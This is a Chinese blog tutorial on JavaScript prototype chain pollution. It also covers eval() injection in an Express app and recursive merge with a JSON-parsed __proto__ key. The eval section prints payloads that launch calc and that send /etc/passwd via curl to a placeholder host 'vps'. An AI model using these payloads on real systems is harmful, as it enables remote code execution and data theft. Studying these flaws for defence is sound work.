JS原型链污染

学习学习

Posted by lll-yz on April 30, 2021

题外话,js中const,var,let区别与用法

  • const:定义的变量不可修改,且必须初始化。
const b = 2;	//正确
// const b; 错误,必须初始化
console.log('函数外const定义b: ' + b);	//有输出值
// b = 5;
// console.log(''函数外修改const定义b: ' + b'); 无法输出
  • var:定义的变量可以修改,如果不初始化会输出undefined,不会报错。
var a = 1;
// var a; 不会报错
console.log('函数外var定义a: ' + a);	//可以输出a=1

function change() {
	a = 4;
	console.log('函数内var定义a:' + a);	//可以输出a=4
}

change();
console.log('函数调用后var定义a为函数内部修改值:' + a);	//可以输出a=4
  • let:是块级作用域,函数内部使用let定义后,对函数外部无影响。
let c = 3;
console.log('函数外let定义c: ' + c);	//输出c=3

function change() {
	let c = 6;
	console.log('函数内let定义c:' + c);	//输出c=6
}

change();
console.log('函数调用后let定义c不受函数内部定义影响:' + c);	//输出c=3

危险函数所导致的命令执行

eval()

eval() 函数可以 计算某个字符串,并执行其中的JavaScript代码。和PHP中的eval() 函数一样,如果传递到函数中的参数可控并且没有经过严格的过滤时,就会导致漏洞的出现。

例子:

var express = require('express');
var app = express();

app.get('/eval', function(req, res) {
	res.send(eval(req.query.q));
	console.log(req.query.q);
});

var server = app.listen(8888, function() {
	console.log("应用实例,访问地址为: http://127.0.0.1:8888/");
});

漏洞利用:

node.js中的chile_process.exec调用的是/bash.sh,它是严格bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');来进行调用。

弹出计算器(windows):

/eval?q=require('child_process').exec('calc');

geuyXF.md.png

读取文件(Linux):

/eval?q=require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');

继承与原型链

在谈到继承时,JavaScript只有一种结构:对象。每个实例对象(object)都有一个私有属性(称之为__proto__) 指向它的构造函数的原型对象(prototype)。该原型对象也有一个自己的原型对象(__proto__),层层向上直到一个对象的原型对象为null。根据定义,null没有原型,并作为这个原型链中的最后一个环节。

几乎所有的JavaScript中的对象都是位于原型链顶端的Object的实例。

gEsfeA.png

可以看到其父类为object,且里面还有许多函数,这就解释了为什么许多变量可以调用某些方法。

在JavaScript中一切皆对象,因为所有的变量,函数,数组,对象都始于object的原型,即object.prototype。同时,在js中只有类才有prototype属性,而对象却没有,对象有是__proto__和类的prototype对应。且二者是等价的。

gEsTW8.png

当我们创建一个类时

gEsLLj.png

原型链为:

b -> a.prototype -> object.prototype -> null

创建一个数组时

gEySYV.png

原型链为:

c -> array.prototype -> object.prototype -> null

创建一个函数时

gEyCSU.png

原型链为:

d -> function.prototype -> object.prototype -> null

…….

总之,测试之后会发现:JavaScript中一切皆对象,一切皆始于object.prototype

原型链污染

既然明白了继承与原型链,那么我们来做一个简单的小实验:若我们有一个类如Foo,我们在new一个Foo的对象foo,上面说到foo.__proto__与Foo类的prototype其实是等价的。那么,如果我们修改了foo.__proto__中的值,是不是就可以修改Foo类呢?

//foo是一个简单的js对象
let foo = {bar: 1};

//foo.bar 此时为1
console.log(foo.bar);

//修改foo的原型,即object
foo.__proto__.bar = 2;

//由于查找顺序的原因,foo.bar输出还是1
console.log(foo.bar);

此时再用object创建一个空的zoo对象
let zoo = {};

//查看zoo.bar,此时输出为2
console.log(zoo.bar);

gelNvV.png

这是因为之前我们修改了foo的原型foo.__proto__.bar=2,而foo是一个object类的实例,所以我们实际上是修改了object这个类,给这个类添加了一个属性bar且值为2。所以之后我们又用这个object类新键了一个对象zoo,那么它的原型自然也有这个bar,当我们执行zoo.bar时,它会先访问zoo本身有没有,没有的话向上级查找,然后找到我们之前修改的foo原型并输出。(若没有则)

原型链变量的搜索

实例:

gEyNff.png

我们实例要先在i中添加属性,但是在j中也有了c属性。这是为什么呢?

当要使用或输出一个变量时:首先会在本层中搜索相应的变量,如果不存在的话,就会向上搜索,即在自己的父类中搜索,当父类中也没有时,就会向祖父类搜索,直到指向null,如果此时还没有搜索到,就会返回undefined。

所以上面的过程就很好的解释了,原型链为:

j -> i.prototype -> object.prototype -> null

所以对象j调用c属性时,本层中没有,所以要向上搜索,在上一层找到了我们添加的test3,所以可以输出。

prototype原型链污染

实例:

mess.js

function a() {
	var secret = ["aaa", "bbb"];
	secret.forEach();
}

var b = new a();

console.log(b);

attach.html

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
    </head>
    <body>
        <script type="text/javascript">
            Array.prototype.forEach = function()
            {
                var result = "result: ";
                
                for(var i=0, length=this.length; i<length; i++)
                {
                    result += this[i];
                    result += " ";
                }

                document.write(result);
            }
        </script>
        <script src = "D://node/node_test/mess.js"></script>
    </body>
</html>

结果:

gEgVTs.png

在mess.js中我们声明了一个数组secret,然后该数组调用了属于Array.prototypeforEach方法,如下

gEgo7j.png

但是,在调用js文件之前,js代码将Array.prototype.forEach()方法进行了重写,而prototype链为secret -> Array.prototype -> object.prototype,secret中无forEach()方法,所以就会向上检索,就会找到Array.prototype而其forEach()方法已经被重写过了,所以会执行输出。

这就是原型链污染。很明显,原型链污染就是:在我们想要利用的代码之前的赋值语句如果可控的话,我们进行—__proto__赋值,之后就可以利用代码了。

应用

在JavaScript中可以通过test.atest['a']来对数组的元素进行访问。

gER1o9.png

对对象和prototype也是一样的。

gEf8v6.png

所以,原型链污染一般会出现在对象、数组的键名或属性名可控,且是赋值语句的情况下。

再来看个例子:

  • 对象merge
  • 对象clone

以对象merge为例,我们构造一个简单的merge函数:

function merge(target, source) {
	for(let key in source) {
		if(key in source && key in target) {
			merge(target[key], source[key]);
		} else {
			target[key] = source[key];
		}
	}
}

在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?

让我们来实验一下:

let a = {};
let b = {o: 1, "__proto__": {i: 2}};

merge(a, b);
console.log(a.o, b.i);

c = {};
console.log(c.i);

结果是,合并虽然成功了,但原型链没有被污染:

ge3DpR.png

这是因为,我们用js创建b的过程{o: 1, "__proto__": {i: 2}}中,__proto__已经代表b的原型了,此时遍历b的所有键名,我们拿到的是{o, i}__proto__并不是一个key,自然也不会修改object的原型了。

那么如何让__proto__被认为是一个键名呢?

我们将代码进行如下修改:

let a = {};
let b = JSON.parse('{"o": 1, "__proto__": {"i": 2}}');
merge(a, b);
console.log(a.o, a.i);

c = {};
console.log(c.i);

geTk6J.png

这是因为,JSON解析的情况下,__proto__会被认为是一个真正的”键名”,而不代表”原型”,所以在遍历b的时候会存在这个键。

merge操作时最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

参考原文—->Sunsec

​ —->p神